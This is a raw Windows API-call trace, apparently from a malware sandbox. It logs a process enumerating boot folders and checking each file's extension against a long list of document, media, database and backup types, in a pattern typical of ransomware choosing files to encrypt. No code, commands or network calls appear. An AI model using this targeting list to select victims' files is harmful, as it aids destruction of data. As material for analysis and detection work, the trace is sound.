lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.866] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.866] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.866] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.866] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.866] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0060.866] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0060.866] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot\\da-DK") returned 1 [0060.866] lstrlenW (lpString="da-DK") returned 5 [0060.866] lstrcmpiW (lpString1="C:\\Windows", lpString2="da-DK") returned -1 [0060.866] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.866] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0060.866] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.866] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.866] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.867] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.867] lstrlenW (lpString=".1cd") returned 4 [0060.867] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.867] lstrlenW (lpString=".3ds") returned 4 [0060.867] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0060.867] lstrlenW (lpString=".3fr") returned 4 [0060.867] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0060.867] lstrlenW (lpString=".3g2") returned 4 [0060.867] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0060.867] lstrlenW (lpString=".3gp") returned 4 [0060.867] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0060.867] lstrlenW (lpString=".7z") returned 3 [0060.867] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.867] lstrlenW (lpString=".accda") returned 6 [0060.867] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0060.867] lstrlenW (lpString=".accdb") returned 6 [0060.867] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0060.867] lstrlenW (lpString=".accdc") returned 6 [0060.867] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0060.867] lstrlenW (lpString=".accde") returned 6 [0060.867] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0060.867] lstrlenW (lpString=".accdt") returned 6 [0060.867] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0060.867] lstrlenW (lpString=".accdw") returned 6 [0060.867] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0060.867] lstrlenW (lpString=".adb") returned 4 [0060.867] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0060.867] lstrlenW (lpString=".adp") returned 4 [0060.868] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0060.868] lstrlenW (lpString=".ai") returned 3 [0060.868] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0060.868] lstrlenW (lpString=".ai3") returned 4 [0060.868] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0060.868] lstrlenW (lpString=".ai4") returned 4 [0060.868] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0060.868] lstrlenW (lpString=".ai5") returned 4 [0060.868] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0060.868] lstrlenW (lpString=".ai6") returned 4 [0060.868] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0060.868] lstrlenW (lpString=".ai7") returned 4 [0060.868] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0060.868] lstrlenW (lpString=".ai8") returned 4 [0060.868] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0060.868] lstrlenW (lpString=".anim") returned 5 [0060.868] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0060.868] lstrlenW (lpString=".arw") returned 4 [0060.868] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0060.868] lstrlenW (lpString=".as") returned 3 [0060.868] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0060.868] lstrlenW (lpString=".asa") returned 4 [0060.868] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0060.868] lstrlenW (lpString=".asc") returned 4 [0060.868] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0060.868] lstrlenW (lpString=".ascx") returned 5 [0060.868] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0060.868] lstrlenW (lpString=".asm") returned 4 [0060.868] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0060.868] lstrlenW (lpString=".asmx") returned 5 [0060.868] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0060.868] lstrlenW (lpString=".asp") returned 4 [0060.868] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0060.868] lstrlenW (lpString=".aspx") returned 5 [0060.868] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0060.868] lstrlenW (lpString=".asr") returned 4 [0060.869] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0060.869] lstrlenW (lpString=".asx") returned 4 [0060.869] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0060.869] lstrlenW (lpString=".avi") returned 4 [0060.869] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0060.869] lstrlenW (lpString=".avs") returned 4 [0060.869] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0060.869] lstrlenW (lpString=".backup") returned 7 [0060.869] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0060.869] lstrlenW (lpString=".bak") returned 4 [0060.869] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0060.869] lstrlenW (lpString=".bay") returned 4 [0060.869] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0060.869] lstrlenW (lpString=".bd") returned 3 [0060.869] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0060.869] lstrlenW (lpString=".bin") returned 4 [0060.869] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0060.869] lstrlenW (lpString=".bmp") returned 4 [0060.869] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0060.869] lstrlenW (lpString=".bz2") returned 4 [0060.869] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.869] lstrlenW (lpString=".c") returned 2 [0060.869] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0060.869] lstrlenW (lpString=".cdr") returned 4 [0060.869] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0060.869] lstrlenW (lpString=".cer") returned 4 [0060.869] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0060.869] lstrlenW (lpString=".cf") returned 3 [0060.869] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0060.869] lstrlenW (lpString=".cfc") returned 4 [0060.869] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0060.869] lstrlenW (lpString=".cfm") returned 4 [0060.869] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0060.869] lstrlenW (lpString=".cfml") returned 5 [0060.869] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0060.869] lstrlenW (lpString=".cfu") returned 4 [0060.870] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0060.870] lstrlenW (lpString=".chm") returned 4 [0060.870] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0060.870] lstrlenW (lpString=".cin") returned 4 [0060.870] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0060.870] lstrlenW (lpString=".class") returned 6 [0060.870] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0060.870] lstrlenW (lpString=".clx") returned 4 [0060.870] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0060.870] lstrlenW (lpString=".config") returned 7 [0060.870] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0060.870] lstrlenW (lpString=".cpp") returned 4 [0060.870] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0060.870] lstrlenW (lpString=".cr2") returned 4 [0060.870] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0060.870] lstrlenW (lpString=".crt") returned 4 [0060.870] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0060.870] lstrlenW (lpString=".crw") returned 4 [0060.870] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0060.870] lstrlenW (lpString=".cs") returned 3 [0060.870] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0060.870] lstrlenW (lpString=".css") returned 4 [0060.870] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0060.870] lstrlenW (lpString=".csv") returned 4 [0060.870] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0060.870] lstrlenW (lpString=".cub") returned 4 [0060.870] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0060.870] lstrlenW (lpString=".dae") returned 4 [0060.870] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0060.870] lstrlenW (lpString=".dat") returned 4 [0060.870] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0060.870] lstrlenW (lpString=".db") returned 3 [0060.870] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0060.870] lstrlenW (lpString=".dbf") returned 4 [0060.870] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.870] lstrlenW (lpString=".dbx") returned 4 [0060.871] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0060.871] lstrlenW (lpString=".dc3") returned 4 [0060.871] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0060.871] lstrlenW (lpString=".dcm") returned 4 [0060.871] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0060.871] lstrlenW (lpString=".dcr") returned 4 [0060.871] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0060.871] lstrlenW (lpString=".der") returned 4 [0060.871] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0060.871] lstrlenW (lpString=".dib") returned 4 [0060.871] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0060.871] lstrlenW (lpString=".dic") returned 4 [0060.871] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0060.871] lstrlenW (lpString=".dif") returned 4 [0060.871] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0060.871] lstrlenW (lpString=".divx") returned 5 [0060.871] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0060.871] lstrlenW (lpString=".djvu") returned 5 [0060.871] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0060.871] lstrlenW (lpString=".dng") returned 4 [0060.871] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0060.871] lstrlenW (lpString=".doc") returned 4 [0060.871] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.871] lstrlenW (lpString=".docm") returned 5 [0060.871] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0060.871] lstrlenW (lpString=".docx") returned 5 [0060.871] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.871] lstrlenW (lpString=".dot") returned 4 [0060.871] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0060.871] lstrlenW (lpString=".dotm") returned 5 [0060.871] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0060.871] lstrlenW (lpString=".dotx") returned 5 [0060.871] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0060.871] lstrlenW (lpString=".dpx") returned 4 [0060.871] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0060.871] lstrlenW (lpString=".dqy") returned 4 [0060.871] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0060.872] lstrlenW (lpString=".dsn") returned 4 [0060.872] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0060.872] lstrlenW (lpString=".dt") returned 3 [0060.872] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0060.872] lstrlenW (lpString=".dtd") returned 4 [0060.872] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0060.872] lstrlenW (lpString=".dwg") returned 4 [0060.872] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0060.872] lstrlenW (lpString=".dwt") returned 4 [0060.872] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0060.872] lstrlenW (lpString=".dx") returned 3 [0060.872] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0060.872] lstrlenW (lpString=".dxf") returned 4 [0060.872] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0060.872] lstrlenW (lpString=".edml") returned 5 [0060.872] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0060.872] lstrlenW (lpString=".efd") returned 4 [0060.872] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0060.872] lstrlenW (lpString=".elf") returned 4 [0060.872] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0060.872] lstrlenW (lpString=".emf") returned 4 [0060.872] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0060.872] lstrlenW (lpString=".emz") returned 4 [0060.872] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0060.872] lstrlenW (lpString=".epf") returned 4 [0060.872] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0060.872] lstrlenW (lpString=".eps") returned 4 [0060.872] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0060.872] lstrlenW (lpString=".epsf") returned 5 [0060.872] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0060.872] lstrlenW (lpString=".epsp") returned 5 [0060.872] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0060.872] lstrlenW (lpString=".erf") returned 4 [0060.872] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0060.872] lstrlenW (lpString=".exr") returned 4 [0060.872] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0060.873] lstrlenW (lpString=".f4v") returned 4 [0060.873] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0060.873] lstrlenW (lpString=".fido") returned 5 [0060.873] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0060.873] lstrlenW (lpString=".flm") returned 4 [0060.873] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0060.873] lstrlenW (lpString=".flv") returned 4 [0060.873] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0060.873] lstrlenW (lpString=".frm") returned 4 [0060.873] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0060.873] lstrlenW (lpString=".fxg") returned 4 [0060.873] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0060.873] lstrlenW (lpString=".geo") returned 4 [0060.873] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0060.873] lstrlenW (lpString=".gif") returned 4 [0060.873] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0060.873] lstrlenW (lpString=".grs") returned 4 [0060.873] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0060.873] lstrlenW (lpString=".gz") returned 3 [0060.873] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0060.873] lstrlenW (lpString=".h") returned 2 [0060.873] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0060.873] lstrlenW (lpString=".hdr") returned 4 [0060.873] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0060.873] lstrlenW (lpString=".hpp") returned 4 [0060.873] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0060.873] lstrlenW (lpString=".hta") returned 4 [0060.873] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0060.873] lstrlenW (lpString=".htc") returned 4 [0060.873] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0060.873] lstrlenW (lpString=".htm") returned 4 [0060.873] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0060.873] lstrlenW (lpString=".html") returned 5 [0060.873] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0060.873] lstrlenW (lpString=".icb") returned 4 [0060.873] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0060.874] lstrlenW (lpString=".ics") returned 4 [0060.874] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0060.874] lstrlenW (lpString=".iff") returned 4 [0060.874] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0060.874] lstrlenW (lpString=".inc") returned 4 [0060.874] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0060.874] lstrlenW (lpString=".indd") returned 5 [0060.874] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0060.874] lstrlenW (lpString=".ini") returned 4 [0060.874] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0060.874] lstrlenW (lpString=".iqy") returned 4 [0060.874] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0060.874] lstrlenW (lpString=".j2c") returned 4 [0060.874] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0060.874] lstrlenW (lpString=".j2k") returned 4 [0060.874] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0060.874] lstrlenW (lpString=".java") returned 5 [0060.874] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0060.874] lstrlenW (lpString=".jp2") returned 4 [0060.874] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0060.874] lstrlenW (lpString=".jpc") returned 4 [0060.874] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0060.874] lstrlenW (lpString=".jpe") returned 4 [0060.874] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0060.874] lstrlenW (lpString=".jpeg") returned 5 [0060.874] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0060.874] lstrlenW (lpString=".jpf") returned 4 [0060.874] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0060.874] lstrlenW (lpString=".jpg") returned 4 [0060.874] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.874] lstrlenW (lpString=".jpx") returned 4 [0060.874] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0060.874] lstrlenW (lpString=".js") returned 3 [0060.874] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0060.874] lstrlenW (lpString=".jsf") returned 4 [0060.874] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0060.874] lstrlenW (lpString=".json") returned 5 [0060.875] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0060.875] lstrlenW (lpString=".jsp") returned 4 [0060.875] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0060.875] lstrlenW (lpString=".kdc") returned 4 [0060.875] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0060.875] lstrlenW (lpString=".kmz") returned 4 [0060.875] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0060.875] lstrlenW (lpString=".kwm") returned 4 [0060.875] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0060.875] lstrlenW (lpString=".lasso") returned 6 [0060.875] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0060.875] lstrlenW (lpString=".lbi") returned 4 [0060.875] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0060.875] lstrlenW (lpString=".lgf") returned 4 [0060.875] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0060.875] lstrlenW (lpString=".lgp") returned 4 [0060.875] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0060.875] lstrlenW (lpString=".log") returned 4 [0060.875] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0060.875] lstrlenW (lpString=".m1v") returned 4 [0060.875] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0060.875] lstrlenW (lpString=".m4a") returned 4 [0060.875] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0060.875] lstrlenW (lpString=".m4v") returned 4 [0060.875] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0060.875] lstrlenW (lpString=".max") returned 4 [0060.875] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0060.875] lstrlenW (lpString=".md") returned 3 [0060.875] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0060.875] lstrlenW (lpString=".mda") returned 4 [0060.875] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0060.875] lstrlenW (lpString=".mdb") returned 4 [0060.875] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0060.875] lstrlenW (lpString=".mde") returned 4 [0060.875] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0060.875] lstrlenW (lpString=".mdf") returned 4 [0060.876] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0060.876] lstrlenW (lpString=".mdw") returned 4 [0060.876] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0060.876] lstrlenW (lpString=".mef") returned 4 [0060.876] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0060.876] lstrlenW (lpString=".mft") returned 4 [0060.876] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0060.876] lstrlenW (lpString=".mfw") returned 4 [0060.876] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0060.876] lstrlenW (lpString=".mht") returned 4 [0060.876] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0060.876] lstrlenW (lpString=".mhtml") returned 6 [0060.876] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0060.876] lstrlenW (lpString=".mka") returned 4 [0060.876] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0060.876] lstrlenW (lpString=".mkidx") returned 6 [0060.876] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0060.876] lstrlenW (lpString=".mkv") returned 4 [0060.876] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0060.876] lstrlenW (lpString=".mos") returned 4 [0060.876] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0060.876] lstrlenW (lpString=".mov") returned 4 [0060.876] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0060.876] lstrlenW (lpString=".mp3") returned 4 [0060.876] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0060.876] lstrlenW (lpString=".mp4") returned 4 [0060.876] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0060.876] lstrlenW (lpString=".mpeg") returned 5 [0060.876] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0060.876] lstrlenW (lpString=".mpg") returned 4 [0060.876] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0060.876] lstrlenW (lpString=".mpv") returned 4 [0060.876] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0060.876] lstrlenW (lpString=".mrw") returned 4 [0060.876] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0060.876] lstrlenW (lpString=".msg") returned 4 [0060.877] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0060.877] lstrlenW (lpString=".mxl") returned 4 [0060.877] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0060.877] lstrlenW (lpString=".myd") returned 4 [0060.877] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0060.877] lstrlenW (lpString=".myi") returned 4 [0060.877] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0060.877] lstrlenW (lpString=".nef") returned 4 [0060.877] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0060.877] lstrlenW (lpString=".nrw") returned 4 [0060.877] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0060.877] lstrlenW (lpString=".obj") returned 4 [0060.877] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0060.877] lstrlenW (lpString=".odb") returned 4 [0060.877] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0060.877] lstrlenW (lpString=".odc") returned 4 [0060.877] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0060.877] lstrlenW (lpString=".odm") returned 4 [0060.877] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0060.877] lstrlenW (lpString=".odp") returned 4 [0060.877] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0060.877] lstrlenW (lpString=".ods") returned 4 [0060.877] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0060.877] lstrlenW (lpString=".oft") returned 4 [0060.877] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0060.877] lstrlenW (lpString=".one") returned 4 [0060.877] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0060.877] lstrlenW (lpString=".onepkg") returned 7 [0060.877] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0060.877] lstrlenW (lpString=".onetoc2") returned 8 